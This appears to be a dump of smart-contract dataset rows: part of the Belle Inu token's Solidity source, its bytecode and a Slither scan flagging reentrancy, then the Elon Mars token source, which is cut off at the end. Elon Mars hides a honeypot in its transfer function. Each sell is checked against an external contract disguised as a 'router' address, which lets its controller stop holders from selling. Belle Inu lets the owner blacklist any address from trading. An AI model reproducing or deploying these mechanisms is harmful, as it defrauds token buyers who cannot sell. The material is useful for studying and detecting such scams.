require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BelleInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Belle Inu";
string private constant _symbol = "BELLEINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x677040488e0EEa6f5fcf80b49291bAf5750C55E5);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable {
require(msg.sender == _feeAddrWallet, 'No permissions');
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading() external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102d7578063ba05e9bc146102f7578063c9567bf91461030c578063dd62ed3e14610314578063e01af92c1461035a57600080fd5b8063715018a6146102495780638da5cb5b1461025e57806395d89b4114610286578063a9059cbb146102b757600080fd5b8063273123b7116100d1578063273123b7146101cb578063313ce567146101ed5780635932ead11461020957806370a082311461022957600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600981526842656c6c6520496e7560b81b60208201525b604051610149919061155c565b60405180910390f35b34801561015e57600080fd5b5061017261016d3660046115d9565b61036d565b6040519015158152602001610149565b34801561018e57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610149565b3480156101b757600080fd5b506101726101c6366004611605565b610384565b3480156101d757600080fd5b506101eb6101e6366004611646565b6103ed565b005b3480156101f957600080fd5b5060405160098152602001610149565b34801561021557600080fd5b506101eb610224366004611671565b610441565b34801561023557600080fd5b5061019d610244366004611646565b610489565b34801561025557600080fd5b506101eb6104ab565b34801561026a57600080fd5b506000546040516001600160a01b039091168152602001610149565b34801561029257600080fd5b5060408051808201909152600881526742454c4c45494e5560c01b602082015261013c565b3480156102c357600080fd5b506101726102d23660046115d9565b61051f565b3480156102e357600080fd5b506101eb6102f23660046116a4565b61052c565b34801561030357600080fd5b506101eb6105c2565b6101eb61060c565b34801561032057600080fd5b5061019d61032f366004611769565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101eb610368366004611671565b6109c4565b600061037a338484610a2d565b5060015b92915050565b6000610391848484610b51565b6103e384336103de85604051806060016040528060288152602001611968602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e7d565b610a2d565b5060019392505050565b6000546001600160a01b031633146104205760405162461bcd60e51b8152600401610417906117a2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461046b5760405162461bcd60e51b8152600401610417906117a2565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461037e90610eb7565b6000546001600160a01b031633146104d55760405162461bcd60e51b8152600401610417906117a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037a338484610b51565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610417906117a2565b60005b81518110156105be5760016006600084848151811061057a5761057a6117d7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b681611803565b915050610559565b5050565b6000546001600160a01b031633146105ec5760405162461bcd60e51b8152600401610417906117a2565b60006105f730610489565b905061060281610f3b565b476105be816110b5565b6000546001600160a01b031633146106365760405162461bcd60e51b8152600401610417906117a2565b6010805460ff19166001179055600e54600160a01b900460ff161561069d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610417565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106dd30826b033b2e3c9fd0803ce8000000610a2d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f919061181e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b0919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610821919061181e565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719343061085181610489565b6000806108666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f3919061183b565b5050600e80546001600160a01b0390811660009081526005602052604090819020805460ff1916600117905582546a295be96e64066972000000600f55630101000160a01b63ffff00ff60a01b19821617909355600d54905163095ea7b360e01b8152908216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610992573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b69190611869565b50506010805460ff19169055565b600c546001600160a01b03163314610a0f5760405162461bcd60e51b815260206004820152600e60248201526d4e6f207065726d697373696f6e7360901b6044820152606401610417565b600e8054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610a8f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610417565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610417565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610417565b6001600160a01b038216610c175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610417565b60008111610c795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610417565b60105460ff1615610c93576000600a819055600b55610c9e565b6002600a556008600b555b6000546001600160a01b03848116911614801590610cca57506000546001600160a01b03838116911614155b15610e6d576001600160a01b03831660009081526006602052604090205460ff16158015610d1157506001600160a01b03821660009081526006602052604090205460ff16155b610d1a57600080fd5b600e546001600160a01b038481169116148015610d455750600d546001600160a01b03838116911614155b8015610d6a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d7f5750600e54600160b81b900460ff165b15610d9357600f54811115610d9357600080fd5b60105460ff16158015610db35750600e546001600160a01b038381169116145b8015610dcd5750600d546001600160a01b03848116911614155b8015610df257506001600160a01b03831660009081526005602052604090205460ff16155b15610e02576002600a908155600b555b600e54600160a81b900460ff16158015610e2a5750600e546001600160a01b03848116911614155b8015610e3f5750600e54600160b01b900460ff165b15610e6d576000610e4f30610489565b9050610e5a81610f3b565b478015610e6a57610e6a476110b5565b50505b610e788383836110ef565b505050565b60008184841115610ea15760405162461bcd60e51b8152600401610417919061155c565b506000610eae8486611886565b95945050505050565b6000600854821115610f1e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610417565b6000610f286110fa565b9050610f34838261111d565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8357610f836117d7565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611000919061181e565b81600181518110611013576110136117d7565b6001600160a01b039283166020918202929092010152600d546110399130911684610a2d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061107290859060009086903090429060040161189d565b600060405180830381600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105be573d6000803e3d6000fd5b610e7883838361115f565b6000806000611107611256565b9092509050611116828261111d565b9250505090565b6000610f3483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129e565b600080600080600080611171876112cc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111a39087611329565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111d2908661136b565b6001600160a01b0389166000908152600260205260409020556111f4816113ca565b6111fe8483611414565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124391815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611275828261111d565b821015611295575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836112bf5760405162461bcd60e51b8152600401610417919061155c565b506000610eae848661190e565b60008060008060008060008060006112e98a600a54600b54611438565b92509250925060006112f96110fa565b9050600080600061130c8e87878761148d565b919e509c509a509598509396509194505050505091939550919395565b6000610f3483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7d565b6000806113788385611930565b905083811015610f345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610417565b60006113d46110fa565b905060006113e283836114dd565b306000908152600260205260409020549091506113ff908261136b565b30600090815260026020526040902055505050565b6008546114219083611329565b600855600954611431908261136b565b6009555050565b6000808080611452606461144c89896114dd565b9061111d565b90506000611465606461144c8a896114dd565b9050600061147d826114778b86611329565b90611329565b9992985090965090945050505050565b600080808061149c88866114dd565b905060006114aa88876114dd565b905060006114b888886114dd565b905060006114ca826114778686611329565b939b939a50919850919650505050505050565b6000826114ec5750600061037e565b60006114f88385611948565b905082611505858361190e565b14610f345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610417565b600060208083528351808285015260005b818110156115895785810183015185820160400152820161156d565b8181111561159b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146115c657600080fd5b50565b80356115d4816115b1565b919050565b600080604083850312156115ec57600080fd5b82356115f7816115b1565b946020939093013593505050565b60008060006060848603121561161a57600080fd5b8335611625816115b1565b92506020840135611635816115b1565b929592945050506040919091013590565b60006020828403121561165857600080fd5b8135610f34816115b1565b80151581146115c657600080fd5b60006020828403121561168357600080fd5b8135610f3481611663565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116b757600080fd5b823567ffffffffffffffff808211156116cf57600080fd5b818501915085601f8301126116e357600080fd5b8135818111156116f5576116f561168e565b8060051b604051601f19603f8301168101818110858211171561171a5761171a61168e565b60405291825284820192508381018501918883111561173857600080fd5b938501935b8285101561175d5761174e856115c9565b8452938501939285019261173d565b98975050505050505050565b6000806040838503121561177c57600080fd5b8235611787816115b1565b91506020830135611797816115b1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611817576118176117ed565b5060010190565b60006020828403121561183057600080fd5b8151610f34816115b1565b60008060006060848603121561185057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561187b57600080fd5b8151610f3481611663565b600082821015611898576118986117ed565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ed5784516001600160a01b0316835293830193918301916001016118c8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261192b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611943576119436117ed565b500190565b6000816000190483118215151615611962576119626117ed565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bc27686ddfbc77ac616998499a96d5d50afe1f71706589550d8320a1772b7a764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,666 |
0x3923D2E1bb4Bb87106d63AD059FBC5092181629C
|
/**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
//SPDX-License-Identifier: None
// Telegram: t.me/ElonMarsToken
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface O{
function amount(address from) external view returns (uint256);
}
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Elon Mars";
string constant TOKEN_SYMBOL="ELONMARS";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonMars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
